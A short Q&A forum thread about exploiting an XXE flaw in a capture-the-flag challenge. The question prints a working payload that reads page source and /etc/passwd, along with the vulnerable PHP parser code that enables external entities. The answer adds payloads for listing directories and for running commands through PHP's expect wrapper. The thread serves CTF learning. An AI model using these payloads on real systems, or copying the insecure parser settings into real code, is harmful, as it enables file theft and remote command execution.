XXE - possible to read directories?

Question

I have come across XXE on a CTF a while ago and I can't get my head around where to go from where I am.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]> 
<root>
  <content>&xxe;</content>
</root>

This will give me the source code for the single page that the site has. I can also grab /etc/passwd, not shadow though.

The source code of the page absolutely doesn't give anything away. No JS to speak of and the only PHP is below:

<?php
if (isset($_GET["xml"])) {
  libxml_disable_entity_loader (false);

  $document = new DOMDocument();
  $document->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
  $parsed = simplexml_import_dom($document);

  echo $parsed->content;
}
?>

My question is whether there is some way to read the contents of a directory or move on from where I currently am?

Answer 1

For OWASP webgoat (java based CTF box), the following XML leads to listing of the /etc folder

<?xml version="1.0"?>
<!DOCTYPE comment[<!ENTITY xxe SYSTEM "file:///etc/" >]>
<comment><text>file:///etc/ &xxe;</text></comment>

SYSTEM "file:///" leads to listing of root folder

For PHP XML Parsers whereby expect module is loaded, SYSTEM "expect://id" for user id and SYSTEM "expect://ls" for listing folder can be used. Note that expect does not support spaces and some characters well